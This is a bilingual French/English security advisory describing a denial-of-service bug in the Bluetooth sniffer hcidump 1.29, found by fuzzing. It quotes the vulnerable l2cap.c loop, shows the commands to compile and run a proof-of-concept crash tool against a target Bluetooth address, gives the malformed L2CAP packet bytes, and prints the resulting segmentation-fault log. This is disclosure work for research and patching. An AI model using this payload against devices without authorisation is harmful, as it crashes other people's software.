Résumé : Une faille de type Déni de Service (DoS) a été identifiée dans l'utilitaire hcidump grâce au fuzzing opéré avec Bluetooth Stack Smasher (BSS). hcidump est l'équivalent Bluetooth d'un outil comme tcpdump.
[Version francaise] -
[English version]
Lors de tests réalisés sur différents périphériques Bluetooh avec l'utilitaire de fuzzing Bluetooth Stack Smasher (BSS -
lien ), un bug a été trouvé dans hcidump.
La version testée de hcidump est la 1.29. D'autres versions peuvent cependant être également concernées.
Cette faille de type Déni de Service (DoS) permet de faire planter l'application et de rendre impossible les usages par les utilisateurs réguliers.
Le code incriminé est situé dans le fichier source l2cap.
Ce code est le suivant :
------------------------------------------------------------------
while (frm->len >= L2CAP_CMD_HDR_SIZE) {
if (!p_filter(FILT_L2CAP)) {
p_indent(level, frm);
printf("L2CAP(s): ");
}
switch (hdr->code) {
l2cap_cmd_hdr *hdr = frm->ptr;
frm->ptr += L2CAP_CMD_HDR_SIZE;
frm->len -= L2CAP_CMD_HDR_SIZE;
(...)
default:
if (p_filter(FILT_L2CAP))
break;
printf("code 0x%2.2x ident %d len %d\n",
hdr->code, hdr->ident, btohs(hdr->len));
raw_dump(level, frm);
}
frm->ptr += btohs(hdr->len);
frm->len -= btohs(hdr->len);
------------------------------------------------------------------
L'utilisation du code PoC (
lien ) permettant de provoquer le DoS est la suivante :
# gcc -lbluetooth hcidump-crash.c -o hcidump-crash
# ./hcidump-crash 00:80:09:XX:XX:XX
L2CAP packet sent (15)
Buffer: 08 01 0B 00 41 41 41 41 41 41 41 41 41 41 41
# hcidump
HCI sniffer - Bluetooth packet analyzer ver 1.29
device: hci0 snap_len: 1028 filter: 0xffffffff
< HCI Command: Create Connection (0x01|0x0005) plen 13
> HCI Event: Command Status (0x0f) plen 4
> HCI Event: Connect Complete (0x03) plen 11
< HCI Command: Write Link Policy Settings (0x02|0x000d) plen 4
< ACL data: handle 41 flags 0x02 dlen 19
L2CAP(s): debug : code=8
Echo req: dlen 12
L2CAP(s): debug : code=0
code 0x00 ident 0 len 0
(...)
L2CAP(s): debug : code=0
code 0x00 ident 0 len 0
segmentation fault
Où 00:80:09:XX:XX:XX est l'adresse Bluetooth de la cible faillible.
Pour plus d'informations sur la sécurité Bluetooth :
[Dossier Sécurité Bluetooth - partie 1] Introduction aux technologies Bluetooth
lien
[Dossier Sécurité Bluetooth - partie 2] Présentation des utilitaires Bluetooth
lien
[Dossier Sécurité Bluetooth - partie 3] Les attaques génériques
lien
[Dossier Sécurité Bluetooth - partie 4] Les attaques d'implémentations
lien
[Dossier Sécurité Bluetooth - partie 5] Scénarios possibles & synthèse
lien
[Infratech - vulnérabilité] PoC pour le DoS sur les téléphones portables Sony/Ericsson
lien
[Infratech - vulnérabilité] Déni de Service sur les téléphones portables Sony/Ericsson
lien
[Infratech - vulnérabilité] PoC pour le DoS sur hcidump
lien
[Infratech - release] BSS - Bluetooth Stack Smasher v0.6
lien
[English version] -
[Version francaise]
Currently pentesting several bluetooth devices with Bluetooth Stack Smasher (BSS -
lien ), a bug was found in hcidump (tested version : 1.29).
The affected code, located in l2cap.c, is :
------------------------------------------------------------------
while (frm->len >= L2CAP_CMD_HDR_SIZE) {
if (!p_filter(FILT_L2CAP)) {
p_indent(level, frm);
printf("L2CAP(s): ");
}
switch (hdr->code) {
l2cap_cmd_hdr *hdr = frm->ptr;
frm->ptr += L2CAP_CMD_HDR_SIZE;
frm->len -= L2CAP_CMD_HDR_SIZE;
(...)
default:
if (p_filter(FILT_L2CAP))
break;
printf("code 0x%2.2x ident %d len %d\n",
hdr->code, hdr->ident, btohs(hdr->len));
raw_dump(level, frm);
}
frm->ptr += btohs(hdr->len);
frm->len -= btohs(hdr->len);
------------------------------------------------------------------
PoC usage (
lien ) is :
# gcc -lbluetooth hcidump-crash.c -o hcidump-crash
# ./hcidump-crash 00:80:09:XX:XX:XX
L2CAP packet sent (15)
Buffer: 08 01 0B 00 41 41 41 41 41 41 41 41 41 41 41
# hcidump
HCI sniffer - Bluetooth packet analyzer ver 1.29
device: hci0 snap_len: 1028 filter: 0xffffffff
< HCI Command: Create Connection (0x01|0x0005) plen 13
> HCI Event: Command Status (0x0f) plen 4
> HCI Event: Connect Complete (0x03) plen 11
< HCI Command: Write Link Policy Settings (0x02|0x000d) plen 4
< ACL data: handle 41 flags 0x02 dlen 19
L2CAP(s): debug : code=8
Echo req: dlen 12
L2CAP(s): debug : code=0
code 0x00 ident 0 len 0
(...)
L2CAP(s): debug : code=0
code 0x00 ident 0 len 0
segmentation fault
Where 00:80:09:XX:XX:XX is the bluetooth address of the target.